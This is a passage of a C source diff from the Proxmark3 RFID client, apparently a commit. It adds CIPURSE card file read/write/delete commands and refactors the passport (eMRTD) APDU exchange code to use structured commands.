size_t offset = arg_get_int_def(ctx, 6, 0);
bool noAuth = arg_get_lit(ctx, 7);
SetAPDULogging(APDULogging);
CLIParserFree(ctx);
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose)
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
if (noAuth == false) {
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
if (bres == false) {
if (verbose == false)
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
DropField();
return PM3_ESOFT;
}
// set channel security levels
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
}
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose)
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (len == 0)
PrintAndLogEx(INFO, "File id: %x is empty", fileId);
else
PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len));
DropField();
return PM3_SUCCESS;
}
static int CmdHFCipurseWriteFile(const char *Cmd) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
uint8_t key[] = CIPURSE_DEFAULT_KEY;
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse write",
"Write file by file ID with key ID and key",
"hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and write file with id 2ff7\n"
"hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and write file\n");
void *argtable[] = {
arg_param_begin,
arg_lit0("a", "apdu", "show APDU requests and responses"),
arg_lit0("v", "verbose", "show technical data"),
arg_int0("n", "keyid", "<dec>", "key id"),
arg_str0("k", "key", "<hex>", "key for authenticate"),
arg_str0("f", "file", "<hex>", "file ID"),
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
arg_lit0(NULL, "noauth", "read file without authentication"),
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
arg_str0("c", "content", "<hex>", "new file content"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool APDULogging = arg_get_lit(ctx, 1);
bool verbose = arg_get_lit(ctx, 2);
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
CipurseChannelSecurityLevel sreq = CPSMACed;
CipurseChannelSecurityLevel sresp = CPSMACed;
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
if (res) {
CLIParserFree(ctx);
return PM3_EINVARG;
}
uint16_t fileId = 0x2ff7;
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
if (hdatalen && hdatalen != 2) {
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
fileId = (hdata[0] << 8) + hdata[1];
size_t offset = arg_get_int_def(ctx, 6, 0);
bool noAuth = arg_get_lit(ctx, 7);
hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen);
if (hdatalen == 0) {
PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
SetAPDULogging(APDULogging);
CLIParserFree(ctx);
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose) {
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen));
}
if (noAuth == false) {
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
if (bres == false) {
if (verbose == false)
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
DropField();
return PM3_ESOFT;
}
// set channel security levels
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
}
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose)
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File write " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
PrintAndLogEx(INFO, "File id: %x successfully written.", fileId);
DropField();
return PM3_SUCCESS;
}
static int CmdHFCipurseReadFileAttr(const char *Cmd) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
uint8_t key[] = CIPURSE_DEFAULT_KEY;
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse aread",
"Read file attributes by file ID with key ID and key",
"hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file attributes with id 2ff7\n"
"hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file attributes\n");
void *argtable[] = {
arg_param_begin,
arg_lit0("a", "apdu", "show APDU requests and responses"),
arg_lit0("v", "verbose", "show technical data"),
arg_int0("n", "keyid", "<dec>", "key id"),
arg_str0("k", "key", "<hex>", "key for authenticate"),
arg_str0("f", "file", "<hex>", "file ID"),
arg_lit0(NULL, "noauth", "read file attributes without authentication"),
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
arg_lit0(NULL, "sel-adf", "show info about ADF itself"),
arg_lit0(NULL, "sel-mf", "show info about master file"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool APDULogging = arg_get_lit(ctx, 1);
bool verbose = arg_get_lit(ctx, 2);
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
CipurseChannelSecurityLevel sreq = CPSMACed;
CipurseChannelSecurityLevel sresp = CPSMACed;
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp);
if (res) {
CLIParserFree(ctx);
return PM3_EINVARG;
}
uint16_t fileId = 0x2ff7;
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
if (hdatalen && hdatalen != 2) {
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
fileId = (hdata[0] << 8) + hdata[1];
bool noAuth = arg_get_lit(ctx, 6);
bool seladf = arg_get_lit(ctx, 9);
bool selmf = arg_get_lit(ctx, 10);
SetAPDULogging(APDULogging);
CLIParserFree(ctx);
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose)
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
if (noAuth == false) {
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
if (bres == false) {
if (verbose == false)
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
DropField();
return PM3_ESOFT;
}
// set channel security levels
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
}
if (seladf == false) {
if (selmf)
res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw);
else
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
}
if (verbose)
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (len == 0) {
PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId);
DropField();
return PM3_SUCCESS;
}
if (verbose)
PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len));
CIPURSEPrintFileAttr(buf, len);
DropField();
return PM3_SUCCESS;
}
static int CmdHFCipurseDeleteFile(const char *Cmd) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
uint8_t key[] = CIPURSE_DEFAULT_KEY;
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse delete",
"Read file by file ID with key ID and key",
"hf cipurse delete -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and delete file with id 2ff7\n"
"hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and delete file\n");
void *argtable[] = {
arg_param_begin,
arg_lit0("a", "apdu", "show APDU requests and responses"),
arg_lit0("v", "verbose", "show technical data"),
arg_int0("n", "keyid", "<dec>", "key id"),
arg_str0("k", "key", "<hex>", "key for authenticate"),
arg_str0("f", "file", "<hex>", "file ID"),
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool APDULogging = arg_get_lit(ctx, 1);
bool verbose = arg_get_lit(ctx, 2);
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
CipurseChannelSecurityLevel sreq = CPSMACed;
CipurseChannelSecurityLevel sresp = CPSMACed;
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp);
if (res) {
CLIParserFree(ctx);
return PM3_EINVARG;
}
uint16_t fileId = 0x2ff7;
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
if (hdatalen && hdatalen != 2) {
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
fileId = (hdata[0] << 8) + hdata[1];
SetAPDULogging(APDULogging);
CLIParserFree(ctx);
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
if (verbose)
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
if (bres == false) {
if (verbose == false)
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
DropField();
return PM3_ESOFT;
}
// set channel security levels
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
if (verbose == false)
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId);
DropField();
return PM3_SUCCESS;
}
bool CheckCardCipurse(void) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
int res = CIPURSESelect(true, false, buf, sizeof(buf), &len, &sw);
return (res == 0 && sw == 0x9000);
}
static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help."},
{"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."},
{"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."},
{"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."},
{"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."},
{"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."},
{"delete", CmdHFCipurseDeleteFile, IfPm3Iso14443a, "Delete file."},
{NULL, NULL, 0, NULL}
};
int CmdHFCipurse(const char *Cmd) {
clearCommandBuffer();
return CmdsParse(CommandTable, Cmd);
}
int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable);
return PM3_SUCCESS;
}

25
client/src/cmdhfcipurse.h Normal file
View file

@ -0,0 +1,25 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// High frequency FIDO U2F and FIDO2 contactless authenticators
//-----------------------------------------------------------------------------
//
// JAVA implementation here:
//
// https://github.com/duychuongvn/cipurse-card-core
//-----------------------------------------------------------------------------
#ifndef CMDHFCIPURSE_H__
#define CMDHFCIPURSE_H__
#include "common.h"
int CmdHFCipurse(const char *Cmd);
bool CheckCardCipurse(void);
#endif

View file

@ -17,7 +17,6 @@
#include "comms.h" // clearCommandBuffer #include "comms.h" // clearCommandBuffer
#include "cmdtrace.h" #include "cmdtrace.h"
#include "crc16.h" #include "crc16.h"
#include "cmdhf14a.h"
#include "protocols.h" // definitions of ISO14B protocol #include "protocols.h" // definitions of ISO14B protocol
#include "iso14b.h" #include "iso14b.h"
#include "cliparser.h" // cliparsing #include "cliparser.h" // cliparsing
@ -36,6 +35,7 @@ static void set_last_known_card(iso14b_card_select_t card) {
} }
static int switch_off_field_cryptorf(void) { static int switch_off_field_cryptorf(void) {
SetISODEPState(ISODEP_INACTIVE);
iso14b_raw_cmd_t packet = { iso14b_raw_cmd_t packet = {
.flags = ISO14B_DISCONNECT, .flags = ISO14B_DISCONNECT,
.timeout = 0, .timeout = 0,

View file

@ -16,14 +16,12 @@
#include "cmdparser.h" // command_t #include "cmdparser.h" // command_t
#include "cmdtrace.h" // CmdTraceList #include "cmdtrace.h" // CmdTraceList
#include "cliparser.h" // CLIParserContext etc #include "cliparser.h" // CLIParserContext etc
#include "cmdhf14a.h" // ExchangeAPDU14a
#include "protocols.h" // definitions of ISO14A/7816 protocol #include "protocols.h" // definitions of ISO14A/7816 protocol
#include "emv/apduinfo.h" // GetAPDUCodeDescription #include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "iso7816/iso7816core.h" // Iso7816ExchangeEx etc
#include "crypto/libpcrypto.h" // Hash calculation (sha1, sha256, sha512) #include "crypto/libpcrypto.h" // Hash calculation (sha1, sha256, sha512)
#include "mifare/desfire_crypto.h" // des_encrypt/des_decrypt #include "mifare/desfire_crypto.h" // des_encrypt/des_decrypt
#include "des.h" // mbedtls_des_key_set_parity #include "des.h" // mbedtls_des_key_set_parity
#include "cmdhf14b.h" // exchange_14b_apdu
#include "iso14b.h" // ISO14B_CONNECT etc
#include "crapto1/crapto1.h" // prng_successor #include "crapto1/crapto1.h" // prng_successor
#include "commonutil.h" // num_to_bytes #include "commonutil.h" // num_to_bytes
#include "util_posix.h" // msclock #include "util_posix.h" // msclock
@ -35,16 +33,16 @@
#define EMRTD_MAX_FILE_SIZE 35000 #define EMRTD_MAX_FILE_SIZE 35000
// ISO7816 commands // ISO7816 commands
#define EMRTD_SELECT "A4" #define EMRTD_SELECT 0xA4
#define EMRTD_EXTERNAL_AUTHENTICATE "82" #define EMRTD_EXTERNAL_AUTHENTICATE 0x82
#define EMRTD_GET_CHALLENGE "84" #define EMRTD_GET_CHALLENGE 0x84
#define EMRTD_READ_BINARY "B0" #define EMRTD_READ_BINARY 0xB0
#define EMRTD_P1_SELECT_BY_EF "02" #define EMRTD_P1_SELECT_BY_EF 0x02
#define EMRTD_P1_SELECT_BY_NAME "04" #define EMRTD_P1_SELECT_BY_NAME 0x04
#define EMRTD_P2_PROPRIETARY "0C" #define EMRTD_P2_PROPRIETARY 0x0C
// App IDs // App IDs
#define EMRTD_AID_MRTD "A0000002471001" #define EMRTD_AID_MRTD {0xA0, 0x00, 0x00, 0x02, 0x47, 0x10, 0x01}
// DESKey Types // DESKey Types
const uint8_t KENC_type[4] = {0x00, 0x00, 0x00, 0x01}; const uint8_t KENC_type[4] = {0x00, 0x00, 0x00, 0x01};
@ -85,27 +83,27 @@ typedef enum { // list must match dg_table
static emrtd_dg_t dg_table[] = { static emrtd_dg_t dg_table[] = {
// tag dg# fileid filename desc pace eac req fast parser dumper // tag dg# fileid filename desc pace eac req fast parser dumper
{0x60, 0, "011E", "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL}, {0x60, 0, 0x011E, "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL},
{0x61, 1, "0101", "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL}, {0x61, 1, 0x0101, "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL},
{0x75, 2, "0102", "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2}, {0x75, 2, 0x0102, "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2},
{0x63, 3, "0103", "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL}, {0x63, 3, 0x0103, "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL},
{0x76, 4, "0104", "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL}, {0x76, 4, 0x0104, "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL},
{0x65, 5, "0105", "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5}, {0x65, 5, 0x0105, "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5},
{0x66, 6, "0106", "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL}, {0x66, 6, 0x0106, "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL},
{0x67, 7, "0107", "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7}, {0x67, 7, 0x0107, "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7},
{0x68, 8, "0108", "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL}, {0x68, 8, 0x0108, "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL},
{0x69, 9, "0109", "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL}, {0x69, 9, 0x0109, "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL},
{0x6a, 10, "010A", "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL}, {0x6a, 10, 0x010A, "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL},
{0x6b, 11, "010B", "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL}, {0x6b, 11, 0x010B, "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL},
{0x6c, 12, "010C", "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL}, {0x6c, 12, 0x010C, "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL},
{0x6d, 13, "010D", "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL}, {0x6d, 13, 0x010D, "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL},
{0x6e, 14, "010E", "EF_DG14", "Security Options", false, false, false, true, NULL, NULL}, {0x6e, 14, 0x010E, "EF_DG14", "Security Options", false, false, false, true, NULL, NULL},
{0x6f, 15, "010F", "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL}, {0x6f, 15, 0x010F, "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL},
{0x70, 16, "0110", "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL}, {0x70, 16, 0x0110, "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL},
{0x77, 0, "011D", "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod}, {0x77, 0, 0x011D, "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod},
{0xff, 0, "011C", "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL}, {0xff, 0, 0x011C, "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL},
{0xff, 0, "011D", "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL}, {0xff, 0, 0x011D, "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL},
{0x00, 0, NULL, NULL, NULL, false, false, false, false, NULL, NULL} {0x00, 0, 0, NULL, NULL, false, false, false, false, NULL, NULL}
}; };
// https://security.stackexchange.com/questions/131241/where-do-magic-constants-for-signature-algorithms-come-from // https://security.stackexchange.com/questions/131241/where-do-magic-constants-for-signature-algorithms-come-from
@ -166,9 +164,9 @@ static emrtd_dg_t *emrtd_tag_to_dg(uint8_t tag) {
} }
return NULL; return NULL;
} }
static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) { static emrtd_dg_t *emrtd_fileid_to_dg(uint16_t file_id) {
for (int dgi = 0; dg_table[dgi].filename != NULL; dgi++) { for (int dgi = 0; dg_table[dgi].filename != NULL; dgi++) {
if (strcmp(dg_table[dgi].fileid, file_id) == 0) { if (dg_table[dgi].fileid == file_id) {
return &dg_table[dgi]; return &dg_table[dgi];
} }
} }
@ -177,57 +175,26 @@ static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) {
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static uint16_t get_sw(uint8_t *d, uint8_t n) { static bool emrtd_exchange_commands(sAPDU apdu, bool include_le, uint16_t le, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen, bool activate_field, bool keep_field_on) {
if (n < 2) uint16_t sw;
return 0; int res = Iso7816ExchangeEx(CC_CONTACTLESS, activate_field, keep_field_on, apdu, include_le, le, dataout, maxdataoutlen, dataoutlen, &sw);
n -= 2;
return d[n] * 0x0100 + d[n + 1];
}
static bool emrtd_exchange_commands(const char *cmd, uint8_t *dataout, int *dataoutlen, bool activate_field, bool keep_field_on, bool use_14b) {
uint8_t response[PM3_CMD_DATA_SIZE];
int resplen = 0;
PrintAndLogEx(DEBUG, "Sending: %s", cmd);
uint8_t aCMD[PM3_CMD_DATA_SIZE];
int aCMD_n = 0;
param_gethex_to_eol(cmd, 0, aCMD, sizeof(aCMD), &aCMD_n);
int res;
if (use_14b) {
// need to add a long timeout for passports with activated anti-bruteforce measure
res = exchange_14b_apdu(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen, 4000);
} else {
res = ExchangeAPDU14a(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen);
}
if (res != PM3_SUCCESS) { if (res != PM3_SUCCESS) {
DropField();
return false; return false;
} }
if (resplen < 2) {
return false;
}
PrintAndLogEx(DEBUG, "Response: %s", sprint_hex(response, resplen));
// drop sw
memcpy(dataout, &response, resplen - 2);
*dataoutlen = (resplen - 2);
uint16_t sw = get_sw(response, resplen);
if (sw != 0x9000) { if (sw != 0x9000) {
PrintAndLogEx(DEBUG, "Command %s failed (%04x - %s).", cmd, sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); PrintAndLogEx(DEBUG, "Command failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
return false; return false;
} }
return true; return true;
} }
static int emrtd_exchange_commands_noout(const char *cmd, bool activate_field, bool keep_field_on, bool use_14b) { static int emrtd_exchange_commands_noout(sAPDU apdu, bool activate_field, bool keep_field_on) {
uint8_t response[PM3_CMD_DATA_SIZE]; uint8_t response[PM3_CMD_DATA_SIZE];
int resplen = 0; size_t resplen = 0;
return emrtd_exchange_commands(cmd, response, &resplen, activate_field, keep_field_on, use_14b); return emrtd_exchange_commands(apdu, false, 0, response, 0, &resplen, activate_field, keep_field_on);
} }
static char emrtd_calculate_check_digit(char *data) { static char emrtd_calculate_check_digit(char *data) {
@ -413,33 +380,31 @@ static void emrtd_deskey(uint8_t *seed, const uint8_t *type, int length, uint8_t
memcpy(dataout, &key, length); memcpy(dataout, &key, length);
} }
static int emrtd_select_file(const char *select_by, const char *file_id, bool use_14b) { static void _emrtd_convert_fileid(uint16_t file, uint8_t *dataout) {
int file_id_len = strlen(file_id) / 2; dataout[0] = file >> 8;
dataout[1] = file & 0xFF;
char cmd[50];
sprintf(cmd, "00%s%s0C%02X%s", EMRTD_SELECT, select_by, file_id_len, file_id);
return emrtd_exchange_commands_noout(cmd, false, true, use_14b);
} }
static int emrtd_get_challenge(int length, uint8_t *dataout, int *dataoutlen, bool use_14b) { static int emrtd_select_file_by_name(uint8_t namelen, uint8_t *name) {
char cmd[50]; return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_NAME, 0x0C, namelen, name}, false, true);
sprintf(cmd, "00%s0000%02X", EMRTD_GET_CHALLENGE, length);
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b);
} }
static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, int *dataoutlen, bool use_14b) { static int emrtd_select_file_by_ef(uint16_t file_id) {
char cmd[100]; uint8_t data[2];
sprintf(cmd, "00%s0000%02X%s%02X", EMRTD_EXTERNAL_AUTHENTICATE, length, sprint_hex_inrow(data, length), length); _emrtd_convert_fileid(file_id, data);
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b); return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, sizeof(data), data}, false, true);
} }
static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { static int emrtd_get_challenge(int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
char cmd[50]; return emrtd_exchange_commands((sAPDU) {0, EMRTD_GET_CHALLENGE, 0, 0, 0, NULL}, true, length, dataout, maxdataoutlen, dataoutlen, false, true);
sprintf(cmd, "00%s%04X%02X", EMRTD_READ_BINARY, offset, bytes_to_read); }
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b); static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
return emrtd_exchange_commands((sAPDU) {0, EMRTD_EXTERNAL_AUTHENTICATE, 0, 0, length, data}, true, length, dataout, maxdataoutlen, dataoutlen, false, true);
}
static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
return emrtd_exchange_commands((sAPDU) {0, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, 0, NULL}, true, bytes_to_read, dataout, maxdataoutlen, dataoutlen, false, true);
} }
static void emrtd_bump_ssc(uint8_t *ssc) { static void emrtd_bump_ssc(uint8_t *ssc) {
@ -490,27 +455,18 @@ static bool emrtd_check_cc(uint8_t *ssc, uint8_t *key, uint8_t *rapdu, int rapdu
return memcmp(cc, rapdu + (rapdulength - 8), 8) == 0; return memcmp(cc, rapdu + (rapdulength - 8), 8) == 0;
} }
static void _emrtd_convert_filename(const char *file, uint8_t *dataout) { static bool emrtd_secure_select_file_by_ef(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, uint16_t file) {
char temp[3] = {0x00};
memcpy(temp, file, 2);
dataout[0] = (int)strtol(temp, NULL, 16);
memcpy(temp, file + 2, 2);
dataout[1] = (int)strtol(temp, NULL, 16);
}
static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, const char *select_by, const char *file, bool use_14b) {
uint8_t response[PM3_CMD_DATA_SIZE]; uint8_t response[PM3_CMD_DATA_SIZE];
int resplen = 0; size_t resplen = 0;
// convert filename of string to bytes // convert fileid to bytes
uint8_t file_id[2]; uint8_t file_id[2];
_emrtd_convert_filename(file, file_id); _emrtd_convert_fileid(file, file_id);
uint8_t iv[8] = { 0x00 }; uint8_t iv[8] = { 0x00 };
char command[PM3_CMD_DATA_SIZE];
